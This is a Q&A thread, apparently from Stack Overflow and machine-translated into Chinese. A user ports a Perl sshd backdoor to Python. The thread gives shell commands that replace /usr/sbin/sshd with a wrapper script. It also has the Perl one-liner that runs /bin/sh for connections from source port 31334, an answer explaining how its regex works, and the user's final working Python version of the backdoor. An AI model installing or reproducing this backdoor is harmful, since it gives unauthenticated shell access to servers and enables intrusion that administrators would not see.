如何确定sshd的这个perl脚本的stdin内容

How to determine the stdin content of this perl script of sshd

我正在根据 perl 编写 python3 ssh 中间件,并希望将端口确定添加到我的 python 代码中。如何判断perl脚本中stdin的内容?

perl 脚本运行正常 我使用 ubuntu 16.04 ,这是我所做的

mv /usr/sbin/sshd /usr/bin/sshd
mv /usr/sbin/backdoor /usr/sbin/sshd
chmod +x /usr/sbin/sshd 
systemctl restart sshd

这是 perl 代码

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

根据查到的资料了解了STDIN,是fd吗?

所以这是我的 python 代码

#!/usr/bin/python3.5
import os
import socket
import subprocess
import sys

for s in sys.stdin:
    raddr = os.read(s,100)
    if re.match(r'..zf',str(raddr)):
        os.execv("/bin/sh")
        with open("hello.log","a+") as f:
            f.write(str(raddr))
            sys.exit()
os.execv('/usr/bin/sshd',sys.argv)

我希望知道 stdin 在 perl 中的含义,谢谢~~

STDIN是文件描述符(C术语),在Perl中也称为文件句柄。 它通常连接到键盘,但如果在终端的管道中调用脚本,它会从管道中读取。如果脚本是 CGI,它还可以从 HTTP POST 读取数据。

现在,您想要的 getpeername 不是您发布的 link,而是这个:

https://perldoc.perl.org/functions/getpeername.html

它"returns the packed sockaddr address of the other end of the SOCKET connection",就像furas指出的那样。

STDIN 是文件句柄,而不是文件描述符 ("fd")。文件描述符是小整数,代表 I/O 通道(如套接字)在 OS 内核提供的接口("system calls",例如 readwriteopen, ...) C级。

STDIN ("standard input") 是一个更高级别的对象,它包含一个文件描述符(0STDIN 的情况下)以及其他数据,例如缓冲区。您可以使用 fileno 从句柄中提取文件描述符。 Perl 中所有常用的 I/O 函数都对句柄进行操作,而不是原始文件描述符。

Perl 的 STDIN 对应于 Python 中的 sys.stdin。与在 Perl 中一样,该对象包装了一个底层文件描述符,您可以使用 sys.stdin.fileno()(对应于 Perl 中的 fileno(STDIN))提取它。

POSIX::getpeername 是 CPAN 上的一个模块。这不是您的 Perl 脚本使用的;否则你的代码中会有 use POSIX::getpeername; (事实上,Perl 脚本不加载任何模块)。正如文档所说,该模块提供了一个 _getpeername 函数,可以从套接字文件描述符中获取远程地址;如果您想将它与 STDIN 一起使用,您可以使用 use POSIX::getpeername; POSIX::getpeername::_getpeername(fileno(STDIN))(或 POSIX::getpeername::_getpeername(0))。

您的代码调用 getpeername function built into Perl, which takes a file handle, not a descriptor. The handle must refer to a socket. In the case of STDIN, it is the calling process that's responsible for setting it up; the Perl code simply assumes that it is a socket. What this function returns is a byte string that contains a raw struct sockaddr_in C structure. Normally you'd use Socket::unpack_sockaddr_in to extract the port and IP address (or just use one of the higher-level interfaces in IO::Socket::INET,例如$socket->peerport).

至于正则表达式的作用,它取决于 运行 所在系统上 struct sockaddr_in 的内部结构。 C 类型本身声明为:

struct sockaddr_in {
    sa_family_t    sin_family; /* address family: AF_INET */
    in_port_t      sin_port;   /* port in network byte order */
    struct in_addr sin_addr;   /* internet address */
};

sa_family_tsome unsigned integer type。在 Linux 上(我希望在其他 unix 系统上也是如此)它被定义为 unsigned short,即一个 2 字节整数。

in_port_t 是一个 unsigned 2-byte integer 包含网络字节顺序的端口。

假设前两个字段之间没有填充,这意味着 getpeername 返回的字符串的前两个字节表示地址族,接下来的两个字节表示 big-endian 中的网络端口("network byte order") 格式。

这就是 /^..zf/ 匹配的对象。前两个字节可以是任何内容(值 10 除外,它被解释为换行符;这很可能是代码中的错误),因此地址族无关紧要。字符串zf对应big endian中的31334

$ perl -wE 'say unpack "n", "zf"'
31334

简而言之,getpeername(...)=~/^..zf/ 检查(以一种非常快速和肮脏的方式)远程端口是否为 31334。如果是,包装器脚本运行 /bin/sh;否则它转发到真正的 sshd 可执行文件。


我不确定相应的 Python 代码是什么。也许

import sys
import socket

socket.socket(fileno = sys.stdin.fileno()).getpeername()[1] == 31334

?

谢谢大家,最后我按照melpomene的回答实现了我的目的。这是我的代码,虽然运行时会有警告,但是可以用~

#!/usr/bin/python3.5
import os
import socket
import subprocess
import sys

s = socket.socket(fileno = sys.stdin.fileno())

try:
    n = s.getpeername()
except:
    pass
else:
    raddr = n[1]
    if raddr == 31334:
        subprocess.run(["/bin/sh"])
        #sys.exit()

os.execv('/usr/bin/sshd',sys.argv)

并且警告是“class 'Exception' : [Errno 88] 非套接字上的套接字操作”,我对此也有点困惑信息,很高兴听听有关这方面的一些分析。

考虑到这个问题可能有人对stdin的具体内容感兴趣,所以贴在下面

<socket.socket fd=0, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('192.168.8.199', 22), raddr=('192.168.8.240', 31334)> 

~~